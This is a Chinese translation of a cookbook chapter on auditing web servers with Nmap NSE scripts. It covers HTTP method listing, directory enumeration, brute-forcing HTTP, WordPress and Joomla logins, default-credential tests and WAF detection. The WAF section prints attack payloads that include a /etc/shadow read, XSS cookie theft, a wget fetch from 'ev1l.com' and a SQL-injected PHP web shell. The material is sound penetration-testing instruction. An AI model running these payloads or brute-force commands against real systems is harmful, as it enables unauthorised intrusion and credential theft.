本章介绍了使用 Nmap 对 Web 服务器进行审核,从自动化配置检查到利用易受攻击的 Web 应用程序。我将介绍我在过去一年中开发的一些 NSE 脚本,以及我在 Websec 进行 Web 渗透测试时每天使用的脚本。本章涵盖了检测数据包过滤系统、暴力破解密码审核、文件和目录发现以及漏洞利用等任务。
列出支持的 HTTP 方法
Web 服务器根据其配置和软件支持不同的 HTTP 方法,其中一些在特定条件下可能是危险的。渗透测试人员需要一种快速列出可用方法的方法。NSE 脚本http-methods
不仅允许他们列出这些潜在危险的方法,还允许他们进行测试。
本教程向您展示如何使用 Nmap 枚举 Web 服务器支持的所有 HTTP 方法。
如何做...
打开终端并输入以下命令:
$ nmap -p80,443 --script http-methods scanme.nmap.org
对于在端口80
或443
上检测到的每个 Web 服务器,都显示了结果:
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.11s latency).
PORT STATE SERVICE
80/tcp open http
|_http-methods: GET HEAD POST OPTIONS
443/tcp closed https
工作原理...
参数-p80,443 --script http-methods
使 Nmap 在发现端口 80 或 443(-p80,443
)的 Web 服务器时启动http-methods
脚本。NSE 脚本hhttp-methods
由 Bernd Stroessenreuther 提交,并使用 HTTP 方法OPTIONS
尝试列出 Web 服务器支持的所有方法。
OPTIONS
在 Web 服务器中用于通知客户端其支持的方法。请记住,此方法不考虑配置或防火墙规则,并且通过OPTIONS
列出的方法并不一定意味着它对您是可访问的。
还有更多...
要单独检查OPTIONS
返回的方法的状态代码响应,请使用脚本参数http-methods.retest
:
# nmap -p80,443 --script http-methods --script-args http-methods.retest scanme.nmap.org
Nmap scan report for scanme.nmap.org (74.207.244.221)
Host is up (0.14s latency).
PORT STATE SERVICE
80/tcp open http
| http-methods: GET HEAD POST OPTIONS
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
|_OPTIONS / -> HTTP/1.1 200 OK
443/tcp closed https
默认情况下,脚本http-methods
使用根文件夹作为基本路径(/
)。如果要设置不同的基本路径,请设置参数http-methods.url-path
:
# nmap -p80,443 --script http-methods --script-args http-methods.url-path=/mypath/ scanme.nmap.org
有趣的 HTTP 方法
TRACE
,CONNECT
,PUT
和DELETE
这些 HTTP 方法可能存在安全风险,如果 Web 服务器或应用程序支持,需要进行彻底测试。
TRACE
使应用程序容易受到跨站点跟踪(XST)攻击的影响,并可能导致攻击者访问标记为httpOnly
的 cookie。CONNECT
方法可能允许 Web 服务器用作未经授权的 Web 代理。PUT
和DELETE
方法具有更改文件夹内容的能力,如果权限设置不正确,显然会被滥用。
您可以在www.owasp.org/index.php/Testing_for_HTTP_Methods_and_XST_%28OWASP-CM-008%29
了解与每种方法相关的常见风险。
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 默认的 HTTP 用户代理的请求。您可以通过设置参数http.useragent
来使用不同的 HTTP 用户代理:
$ nmap -p80 --script http-methods --script-args http.useragent="Mozilla 42" <target>
HTTP 流水线
一些 Web 服务器允许将多个 HTTP 请求封装在单个数据包中。这可能会加快执行 NSE HTTP 脚本,并建议在 Web 服务器支持的情况下使用。默认情况下,HTTP 库尝试对 40 个请求进行流水线处理,并根据Keep-Alive
标头根据流量条件自动调整请求的数量。
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
来设置要添加到流水线的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则将忽略此参数:
$nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
另请参阅
-
检测可能的 XST 漏洞配方
-
在各种 Web 服务器上发现有趣的文件和目录配方
-
检测 Web 应用程序防火墙配方
-
滥用 mod_userdir 列举用户帐户配方
-
测试 Web 应用程序中的默认凭据配方
-
检测易受 slowloris 拒绝服务攻击的 Web 服务器配方
检查 HTTP 代理是否开放
HTTP 代理用于通过它们的地址发出请求,因此可以隐藏我们的真实 IP 地址。如果您是需要保持网络安全的系统管理员,或者是伪装自己真实来源的攻击者,检测它们是很重要的。
此配方向您展示了如何使用 Nmap 检测开放的 HTTP 代理。
如何操作...
打开终端并输入以下命令:
$ nmap --script http-open-proxy -p8080 <target>
结果包括成功测试的 HTTP 方法:
PORT STATE SERVICE
8080/tcp open http-proxy
| proxy-open-http: Potentially OPEN proxy.
|_ Methods successfully tested: GET HEAD CONNECT
它是如何工作的...
我们使用参数--script http-open-proxy -p8080
来启动 NSE 脚本http-open-proxy
,如果在端口8080
上发现运行的 Web 服务器,这是 HTTP 代理的常见端口。
NSE 脚本http-open-proxy
由 Arturo“Buanzo”Busleiman 提交,它旨在检测开放代理,正如其名称所示。默认情况下,它请求google.com,wikipedia.org和computerhistory.org,并寻找已知的文本模式,以确定目标 Web 服务器上是否运行着开放的 HTTP 代理。
还有更多...
您可以通过使用脚本参数http-open-proxy.url
和http-open-proxy.pattern
请求不同的 URL,并指定在连接成功时将返回的模式:
$ nmap --script http-open-proxy –script-args http-open-proxy.url=http://whatsmyip.org,http-open-proxy.pattern="Your IP address is" -p8080 <target>
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 默认的 HTTP 用户代理的请求。您可以通过设置参数http.useragent
来使用不同的 HTTP 用户代理:
$ nmap -p80 --script http-trace --script-args http.useragent="Mozilla 42" <target>
另请参阅
-
检测可能的 XST 漏洞配方
-
在各种 Web 服务器上发现有趣的文件和目录配方
-
检测 Web 应用程序防火墙配方
-
暴力破解 HTTP 身份验证配方
-
滥用 mod_userdir 枚举用户帐户配方
-
测试 Web 应用程序中的默认凭据配方
-
暴力破解密码审计 WordPress 安装配方
-
暴力破解密码审计 Joomla!安装配方
-
在 Web 应用程序中查找 SQL 注入漏洞配方
-
检测易受 slowloris 拒绝服务攻击的 Web 服务器配方
在各种 Web 服务器上发现有趣的文件和目录
渗透测试中的常见任务之一是无法手动完成的文件和目录发现。有几种工具专门用于此任务,但 Nmap 真正闪耀的是其强大的数据库,其中包括有趣的文件,如 README,数据库转储和遗忘的配置备份;常见目录,如管理面板或未受保护的文件上传者;甚至攻击有效载荷,以利用常见的易受攻击的 Web 应用程序中的目录遍历。
这个配方将向您展示如何使用 Nmap 进行 Web 扫描,以发现有趣的文件,目录,甚至是存在漏洞的 Web 应用程序。
如何操作...
打开您的终端并输入以下命令:
$ nmap --script http-enum -p80 <target>
结果将包括所有有趣的文件,目录和应用程序:
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /blog/: Blog
| /test.php: Test page
| /robots.txt: Robots file
| /css/cake.generic.css: CakePHP application
|_ /img/cake.icon.png: CakePHP application
它是如何工作的...
使用参数-p80 --script http-enum
告诉 Nmap 在端口 80 上找到 Web 服务器时启动脚本http-enum
。脚本http-enum
最初是由 Ron Bowes 提交的,其主要目的是进行目录发现,但社区一直在添加新的指纹以包括其他有趣的文件,如版本文件,README 和遗忘的数据库备份。我还添加了超过 150 个条目,用于识别过去两年中存在漏洞的 Web 应用程序,新条目不断添加。
PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /crossdomain.xml: Adobe Flash crossdomain policy
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /administrator/: Possible admin folder
| /administrator/index.php: Possible admin folder
| /home.html: Possible admin folder
| /test/: Test page
| /logs/: Logs
|_ /robots.txt: Robots file
还有更多...
指纹存储在/nselib/data/
中的文件http-fingerprints.lua
中,它们实际上是 LUA 表。一个条目看起来像下面这样:
table.insert(fingerprints, {
category='cms',
probes={
{path='/changelog.txt'},
{path='/tinymce/changelog.txt'},
},
matches={
{match='Version (.-) ', output='Version \\1'},
{output='Interesting, a changelog.'}
}
})
您可以向此文件添加自己的条目,或者使用参数http-enum.fingerprintfile
来使用不同的指纹文件:
$ nmap --script http-enum --script-args http-enum.fingerprintfile=./myfingerprints.txt -p80 <target>
默认情况下,http-enum
使用根目录作为基本路径。要设置不同的基本路径,请使用脚本参数http-enum.basepath
:
$ nmap --script http-enum http-enum.basepath=/web/ -p80 <target>
要显示所有返回可能指示存在页面的状态代码的条目,请使用脚本参数http-enum.displayall
:
$ nmap --script http-enum http-enum.displayall -p80 <target>
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的 HTTP 用户代理:
$ nmap -p80 --script http-enum --script-args http.useragent="Mozilla 42" <target>
HTTP 流水线处理
一些 Web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能加快执行 NSE HTTP 脚本,并建议在 Web 服务器支持时使用。HTTP 库默认尝试对 40 个请求进行流水线处理,并根据Keep-Alive
标头根据流量条件自动调整该数字。
$ nmap -p80 --script http-enum --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
来设置要添加到流水线的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则将忽略此参数:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
另请参阅
-
暴力破解 HTTP 身份验证配方
-
滥用 mod_userdir 枚举用户帐户配方
-
测试 Web 应用程序中的默认凭据配方
-
暴力破解密码审计 WordPress 安装配方
-
暴力破解密码审计 Joomla!安装配方
暴力破解 HTTP 身份验证
许多家用路由器,IP 网络摄像头,甚至 Web 应用程序仍然依赖 HTTP 身份验证,渗透测试人员需要尝试使用弱密码字典来确保系统或用户帐户的安全。现在,由于 NSE 脚本http-brute
,我们可以对 HTTPAuth 受保护的资源执行强大的字典攻击。
此配方展示了如何对使用 HTTP 身份验证的 Web 服务器执行暴力破解密码审计。
如何做...
使用以下 Nmap 命令对受 HTTP 基本身份验证保护的资源执行暴力破解密码审计:
$ nmap -p80 --script http-brute –script-args http-brute.path=/admin/ <target>
结果包含找到的所有有效帐户:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-brute:
| Accounts
| admin:secret => Valid credentials
| Statistics
|_ Perfomed 603 guesses in 7 seconds, average tps: 86
它是如何工作的...
参数-p80 --script http-brute
告诉 Nmap 在端口 80 上运行的 Web 服务器上启动http-brute
脚本。此脚本最初由 Patrik Karlsson 提交,并且是为了对受 HTTP 基本身份验证保护的 URI 进行字典攻击而创建的。
脚本http-brute
默认使用位于/nselib/data/
的文件usernames.lst
和passwords.lst
尝试每个用户的每个密码,以便找到有效帐户。
还有更多...
脚本http-brute
依赖于 NSE 库unpwdb
和brute
。这些库有几个脚本参数,可用于调整暴力破解密码的审计。
要使用不同的用户名和密码列表,请设置参数userdb
和passdb
:
$ nmap -p80 --script http-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt <target>
要在找到一个有效帐户后退出,请使用参数brute.firstOnly
:
$ nmap -p80 --script http-brute --script-args brute.firstOnly <target>
默认情况下,http-brute
使用 Nmap 的时间模板来设置以下超时限制:
-
-T3,T2,T1:10 分钟
-
-T4:5 分钟
-
-T5:3 分钟
要设置不同的超时限制,请使用参数unpwd.timelimit
。要无限期运行,请将其设置为0
:
$ nmap -p80 --script http-brute --script-args unpwdb.timelimit=0 <target>
$ nmap -p80 --script http-brute --script-args unpwdb.timelimit=60m <target>
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <target>
HTTP 流水线
一些 Web 服务器允许将多个 HTTP 请求封装在单个数据包中。这可能加快执行 NSE HTTP 脚本,并建议在 Web 服务器支持的情况下使用。默认情况下,HTTP 库尝试对 40 个请求进行流水线处理,并根据Keep-Alive
头部根据流量情况自动调整该数字。
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
来设置要添加到流水线中的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则将忽略此参数:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
暴力模式
暴力库支持不同的模式,可以改变攻击中使用的组合。可用的模式包括:
user
:在此模式下,对于userdb
中列出的每个用户,将尝试passdb
中的每个密码。
$ nmap --script http-brute --script-args brute.mode=user <target>
pass
:在此模式下,对于passdb
中列出的每个密码,将尝试usedb
中的每个用户。
$ nmap --script http-brute --script-args brute.mode=pass <target>
creds
:此模式需要额外的参数brute.credfile
。
$ nmap --script http-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
另请参阅
-
检测可能的 XST 漏洞配方
-
在各种 Web 服务器上发现有趣的文件和目录配方
-
检测 Web 应用程序防火墙配方
-
滥用 mod_userdir 列举用户帐户配方
-
测试 Web 应用程序中的默认凭据配方
-
暴力破解密码审计 WordPress 安装配方
-
暴力破解密码审计 Joomla!安装配方
-
检测易受 slowloris 拒绝服务攻击的 Web 服务器配方
滥用 mod_userdir 列举用户帐户
Apache 的模块UserDir
通过使用/~username/
的 URI 语法提供对用户目录的访问。使用 Nmap,我们可以执行字典攻击并确定 Web 服务器上有效用户名的列表。
这个配方向您展示了如何使用 Nmap 对 Apache Web 服务器中启用mod_userdir
的用户帐户进行暴力破解攻击。
如何做...
要尝试在启用mod_userdir
的 Web 服务器中枚举有效用户,请使用 Nmap 和这些参数:
$ nmap -p80 --script http-userdir-enum <target>
找到的所有用户名将包含在结果中:
PORT STATE SERVICE
80/tcp open http
|_http-userdir-enum: Potential Users: root, web, test
它是如何工作的...
参数-p80 --script http-userdir-enum
如果在端口 80(-p80
)上找到 Web 服务器,则启动 NSE 脚本http-userdir-enum
。带有mod_userdir
的 Apache Web 服务器允许通过使用 URI(例如domain.com/~root/
)访问用户目录,此脚本帮助我们执行字典攻击以枚举有效用户。
首先,脚本查询一个不存在的目录以记录无效页面的状态响应。然后尝试字典文件中的每个单词,测试 URI 并寻找 HTTP 状态码 200 或 403,这将表明有效的用户名。
还有更多...
脚本http-userdir-enum
默认使用位于/nselib/data/
的单词列表usernames.lst
,但您可以通过设置参数userdir.users
来使用不同的文件,如下面的命令所示:
$ nmap -p80 --script http-userdir-enum --script-args userdir.users=./users.txt <target>
PORT STATE SERVICE
80/tcp open http
|_http-userdir-enum: Potential Users: john, carlos
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <target>
HTTP 管线
一些 Web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能加快 NSE HTTP 脚本的执行速度,如果 Web 服务器支持,建议使用它。默认情况下,HTTP 库尝试将 40 个请求进行管线处理,并根据Keep-Alive
标头根据流量条件自动调整该数字。
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
另外,您可以使用参数http.max-pipeline
来设置要添加到管道中的最大 HTTP 请求数量。如果设置了脚本参数http.pipeline
,则将忽略此参数:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
另请参阅
-
在各种 Web 服务器上发现有趣的文件和目录配方
-
检测 Web 应用程序防火墙配方
-
Brute forcing HTTP authentication配方
-
在 Web 应用程序中测试默认凭据配方
-
Brute-force 密码审计 WordPress 安装配方
-
Brute-force 密码审计 Joomla!安装配方
在 Web 应用程序中测试默认凭据
在 Web 应用程序和设备中经常忘记默认凭据。 Nmap 的 NSE 脚本http-default-accounts
自动化了测试流行 Web 应用程序(例如 Apache Tomcat Manager,Cacti 甚至家用路由器的 Web 管理界面)的默认凭据的过程。
此配方向您展示了如何使用 Nmap 自动测试多个 Web 应用程序中的默认凭据访问。
如何做...
要自动测试支持的应用程序中的默认凭据访问,请使用以下 Nmap 命令:
$ nmap -p80 --script http-default-accounts <target>
结果将指示应用程序和默认凭据(如果成功):
PORT STATE SERVICE REASON
80/tcp open http syn-ack
|_http-default-accounts: [Cacti] credentials found -> admin:admin Path:/cacti/
工作原理...
如果在端口 80(-p80
)上找到 Web 服务器,则启动 NSE 脚本http-default-accounts
(--script http-default-accounts
)。
我开发了这个 NSE 脚本,以节省在 Web 渗透测试期间的时间,通过自动检查系统管理员是否忘记在其系统中更改任何默认密码。我已经为流行服务包含了一些指纹,但是通过支持更多服务,这个脚本可以得到很大的改进。如果您可以访问通常使用默认凭据访问的服务,我鼓励您向其数据库提交新的指纹。到目前为止,支持的服务有:
-
仙人掌
-
Apache Tomcat
-
Apache Axis2
-
Arris 2307 路由器
-
思科 2811 路由器
该脚本通过查看已知路径并使用存储的默认凭据启动登录例程来检测 Web 应用程序。它依赖于位于/nselib/data/http-default-accounts.nse
的指纹文件。条目是 LUA 表,看起来像下面这样:
table.insert(fingerprints, {
name = "Apache Tomcat",
category = "web",
paths = {
{path = "/manager/html/"},
{path = "/tomcat/manager/html/"}
},
login_combos = {
{username = "tomcat", password = "tomcat"},
{username = "admin", password = "admin"}
},
login_check = function (host, port, path, user, pass)
return try_http_basic_login(host, port, path, user, pass)
end
})
每个指纹条目必须具有以下字段:
-
name
:此字段指定描述性服务名称。 -
category
:此字段指定较不侵入式扫描所需的类别。 -
login_combos
:此字段指定服务使用的默认凭据的 LUA 表。 -
paths
:此字段指定服务通常被发现的路径的 LUA 表。 -
login_check
:此字段指定 Web 服务的登录例程。
还有更多...
为了减少侵入式扫描,可以使用脚本参数http-default-accounts.category
按类别过滤探针:
$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.category=routers <target>
可用的类别有:
-
web
:此类别管理 Web 应用程序 -
router
:此类别管理路由器的接口 -
voip
:此类别管理 VOIP 设备 -
security
:此类别管理与安全相关的软件
此脚本默认使用根文件夹作为基本路径,但您可以使用参数http-default-accounts.basepath
设置不同的路径:
$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.basepath=/web/ <target>
默认指纹文件位于/nselib/data/http-default-accounts-fingerprints.lua
,但您可以通过指定参数http-default-accounts.fingerprintfile
来使用不同的文件:
$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.fingerprintfile=./more-signatures.txt <target>
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-brute --script-args http.useragent="Mozilla 42" <target>
另请参阅
-
检测可能的 XST 漏洞食谱
-
在各种 Web 服务器上发现有趣的文件和目录的食谱
-
检测 Web 应用防火墙食谱
-
暴力破解 HTTP 身份验证食谱
-
滥用 mod_userdir 列举用户帐户的食谱
-
暴力破解密码审计 WordPress 安装食谱
-
暴力破解密码审计 Joomla!安装食谱
-
在 Web 应用程序中查找 SQL 注入漏洞的食谱
暴力破解密码审计 WordPress 安装
WordPress 是一个广为人知的CMS(内容管理系统),在许多行业中都有使用。Nmap 现在包括自己的 NSE 脚本,以帮助渗透测试人员发动字典攻击,并找到使用弱密码的帐户,这可能会危及应用程序的完整性。
此食谱显示了如何对 WordPress 安装执行暴力破解密码审计。
如何做...
要查找 WordPress 安装中具有弱密码的帐户,请使用以下 Nmap 命令:
$ nmap -p80 --script http-wordpress-brute <target>
找到的所有有效帐户将显示在结果中:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-wordpress-brute:
| Accounts
| papa:a1b2c3d4 => Login correct
| Statistics
|_ Perfomed 360 guesses in 17 seconds, average tps: 6
它是如何工作的...
参数-p80 –script http-wordpress-brute
在端口 80(-p80
)上找到 Web 服务器时启动 NSE 脚本http-wordpress-brute
。我开发了这个脚本,以免在对 WordPress 安装使用http-brute
时设置 WordPress URI 和用户名和密码的 HTML 变量名称。
此脚本使用以下默认变量:
-
uri
:/wp-login.php
-
uservar
:log
-
passvar
:pwd
还有更多...
要设置线程数,请使用脚本参数http-wordpress-brute.threads
:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.threads=5 <target>
如果服务器有虚拟主机,请使用参数http-wordpress-brute.hostname
设置主机字段:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.hostname="ahostname.wordpress.com" <target>
要设置不同的登录 URI,请使用参数http-wordpress-brute.uri
:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.uri="/hidden-wp-login.php" <target>
要更改存储用户名和密码的POST
变量的名称,请设置参数http-wordpress-brute.uservar
和http-wordpress-brute.passvar
:
$ nmap -p80 --script http-wordpress-brute --script-args http-wordpress-brute.uservar=usuario,http-wordpress-brute.passvar=pasguord <target>
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-wordpress-brute --script-args http.useragent="Mozilla 42" <target>
Brute 模式
Brute 库支持改变攻击中使用的组合的不同模式。可用的模式有:
user
:在此模式中,对于userdb
中列出的每个用户,将尝试passdb
中的每个密码
$ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
pass
:在此模式中,对于passdb
中列出的每个密码,将尝试usedb
中的每个用户
$ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
creds
:此模式需要额外的参数brute.credfile
$ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
另请参阅
-
检测可能的 XST 漏洞食谱
-
在各种 Web 服务器上发现有趣的文件和目录的食谱
-
检测 Web 应用防火墙食谱
-
暴力破解 HTTP 身份验证食谱
-
滥用 mod_userdir 列举用户帐户的食谱
-
Testing default credentials in web applications 配方
-
Brute-force password auditing Joomla! installations 配方
-
Finding SQL injection vulnerabilities in web applications 配方
-
Detecting web servers vulnerable to slowloris denial of service attacks 配方
Brute-force password auditing Joomla! installations
Joomla!是一个非常流行的 CMS,用于许多不同的目的,包括电子商务。检测具有弱密码的用户帐户是渗透测试人员的常见任务,Nmap 通过使用 NSE 脚本http-joomla-brute
来帮助实现这一点。
此配方展示了如何对 Joomla!安装进行暴力密码审核。
如何做...
打开终端并输入以下命令:
$ nmap -p80 --script http-joomla-brute <target>
找到的所有有效帐户将被返回:
PORT STATE SERVICE REASON
80/tcp open http syn-ack
| http-joomla-brute:
| Accounts
| king:kong => Login correct
| Statistics
|_ Perfomed 799 guesses in 501 seconds, average tps: 0
工作原理...
参数-p80 –script http-joomla-brute
在端口 80(-p80
)上发现 Web 服务器时启动 NSE 脚本http-joomla-brute
。我开发了这个脚本来对 Joomla!安装进行暴力密码审核。
脚本http-joomla-brute
使用以下默认变量:
-
uri
:/administrator/index.php
-
uservar
:用户名
-
passvar
:密码
还有更多...
使用以下命令设置参数http-joomla-brute.threads
来设置线程数:
$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.threads=5 <target>
要在 HTTP 请求中设置Host
字段,请使用以下命令设置脚本参数http-joomla-brute.hostname
:
$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.hostname="hostname.com" <target>
通过使用以下命令指定参数http-joomla-brute.uri
来设置不同的登录 URI:
$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.uri="/joomla/admin/login.php" <target>
要更改存储用户名和密码的POST
变量的名称,请使用以下命令设置参数http-joomla-brute.uservar
和http-joomla-brute.passvar
:
$ nmap -p80 --script http-joomla-brute --script-args http-joomla-brute.uservar=usuario,http-joomla-brute.passvar=pasguord <target>
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-wordpress-brute --script-args http.useragent="Mozilla 42" <target>
Brute 模式
Brute 库支持不同的模式,可以改变攻击中使用的组合。可用的模式有:
user
:在此模式下,将尝试userdb
中列出的每个用户的每个密码
$ nmap --script http-wordpress-brute --script-args brute.mode=user <target>
pass
:在此模式下,将尝试passdb
中列出的每个密码的每个用户
$ nmap --script http-wordpress-brute --script-args brute.mode=pass <target>
creds
:此模式需要额外的参数brute.credfile
$ nmap --script http-wordpress-brute --script-args brute.mode=creds,brute.credfile=./creds.txt <target>
另请参阅
-
Detecting possible XST vulnerabilities 配方
-
在各种网络服务器上发现有趣文件和目录的配方
-
Brute forcing HTTP authentication 配方
-
Abusing mod_userdir to enumerate user accounts 配方
-
Testing default credentials in web applications 配方
-
Brute-force password auditing WordPress installations 配方
-
Detecting web servers vulnerable to slowloris denial of service attacks 配方
检测 Web 应用防火墙
Web 服务器通常受到数据包过滤系统的保护,该系统会丢弃或重定向可疑的恶意数据包。Web 渗透测试人员受益于知道在他们和目标应用程序之间有一个流量过滤系统。如果是这种情况,他们可以尝试更罕见或隐秘的技术来尝试绕过 Web 应用防火墙(WAF)或入侵防御系统(IPS)。这也有助于他们确定漏洞在当前环境中是否实际可利用。
此配方演示了如何使用 Nmap 检测数据包过滤系统,如 Web 应用防火墙或入侵防御系统。
如何做...
检测 Web 应用防火墙或入侵防御系统:
$ nmap -p80 --script http-waf-detect <target>
脚本http-waf-detect
将告诉您是否检测到了数据包过滤系统:
PORT STATE SERVICE
80/tcp open http
|_http-waf-detect: IDS/IPS/WAF detected
工作原理...
参数-p80 --script http-waf-detect
在发现运行在端口 80 上的 Web 服务器时启动 NSE 脚本http-waf-detect
。我开发了http-waf-detect
来确定是否通过 Web 应用防火墙(WAF)或入侵防御系统(IPS)过滤了带有恶意有效负载的 HTTP 请求。
该脚本通过保存安全的 HTTPGET
请求的状态码和可选的页面主体,并将其与包含最常见 Web 应用程序漏洞的攻击载荷的请求进行比较。因为每个恶意载荷都存储在一个奇数变量名中,所以它几乎不可能被 Web 应用程序使用,只有数据包过滤系统会做出反应并改变任何返回的状态码,可能会收到 HTTP 状态码 403(禁止)或页面内容。
还有更多...
要检测响应主体的变化,请使用参数http-waf-detect.detectBodyChanges
。我建议在处理动态内容较少的页面时启用它:
$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect.detectBodyChanges" <target>
要包含更多的攻击载荷,请使用脚本参数http-waf-detect.aggro
。这种模式会生成更多的 HTTP 请求,但也可能触发更多的产品:
$ nmap -p80 --script http-waf-detect --script-args="http-waf-detect.aggro" <target>
Initiating NSE at 23:03
NSE: http-waf-detect: Requesting URI /abc.php
NSE: Final http cache size (1160 bytes) of max size of 1000000
NSE: Probing with payload:?p4yl04d=../../../../../../../../../../../../../../../../../etc/passwd
NSE: Probing with payload:?p4yl04d2=1%20UNION%20ALL%20SELECT%201,2,3,table_name%20FROM%20information_schema.tables
NSE: Probing with payload:?p4yl04d3=<script>alert(document.cookie)</script>
NSE: Probing with payload:?p4yl04d=cat%20/etc/shadow
NSE: Probing with payload:?p4yl04d=id;uname%20-a
NSE: Probing with payload:?p4yl04d=<?php%20phpinfo();%20?>
NSE: Probing with payload:?p4yl04d='%20OR%20'A'='A
NSE: Probing with payload:?p4yl04d=http://google.com
NSE: Probing with payload:?p4yl04d=http://evilsite.com/evilfile.php
NSE: Probing with payload:?p4yl04d=cat%20/etc/passwd
NSE: Probing with payload:?p4yl04d=ping%20google.com
NSE: Probing with payload:?p4yl04d=hostname%00
NSE: Probing with payload:?p4yl04d=<img%20src='x'%20onerror=alert(document.cookie)%20/>
NSE: Probing with payload:?p4yl04d=wget%20http://ev1l.com/xpl01t.txt
NSE: Probing with payload:?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php'--
要为探测设置不同的 URI,请设置参数http-waf-detect.uri
:
$ nmap -p80 --script http-waf-detect --script-args http-waf-detect.uri=/webapp/ <target>
HTTP 用户代理
有一些数据包过滤产品会阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent
来使用不同的用户代理值:
$ nmap -p80 --script http-waf-detect --script-args http.useragent="Mozilla 42" <target>
HTTP 管线化
一些 Web 服务器允许将多个 HTTP 请求封装在单个数据包中。这可能加快 NSE HTTP 脚本的执行速度,建议在 Web 服务器支持的情况下使用。HTTP 库默认尝试管线化 40 个请求,并根据Keep-Alive
头部根据流量条件自动调整该数字。
$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>
此外,您可以使用参数http.max-pipeline
来设置要添加到管线中的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline
,则将忽略此参数:
$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>
另请参阅
-
检测可能的 XST 漏洞配方
-
在各种 Web 服务器上发现有趣的文件和目录配方
-
暴力破解 HTTP 身份验证配方
-
滥用 mod_userdir 来枚举用户帐户配方
-
测试 Web 应用程序中的默认凭据配方
-
暴力破解密码审计 WordPress 安装配方
-
暴力破解密码审计 Joomla!安装配方
-
在 Web 应用程序中查找 SQL 注入漏洞配方
-
检测易受 slowloris 拒绝服务攻击的 Web 服务器配方
检测可能的 XST 漏洞
跨站跟踪(XST)漏洞是由 Web 服务器中启用了 HTTP 方法TRACE
的存在跨站脚本(XSS)漏洞引起的。这种技术主要用于绕过指令httpOnly
强加的 cookie 限制。渗透测试人员可以使用 Nmap 来快速确定 Web 服务器是否启用了TRACE
方法,从而节省时间。
这个配方描述了如何使用 Nmap 来检查TRACE
是否启用,从而可能存在跨站跟踪(XST)漏洞。
如何做...
打开终端并输入以下命令:
$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest <target>
如果TRACE
已启用并可访问,我们应该看到类似于这样的东西:
PORT STATE SERVICE
80/tcp open http
|_http-trace: TRACE is enabled
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
| See http://nmap.org/nsedoc/scripts/http-methods.html
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
| OPTIONS / -> HTTP/1.1 200 OK
|
|_TRACE / -> HTTP/1.1 200 OK
否则,http-trace
将不返回任何内容,TRACE
将不会列在http-methods
下:
PORT STATE SERVICE
80/tcp open http
| http-methods: GET HEAD POST OPTIONS
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
|_OPTIONS / -> HTTP/1.1 200 OK
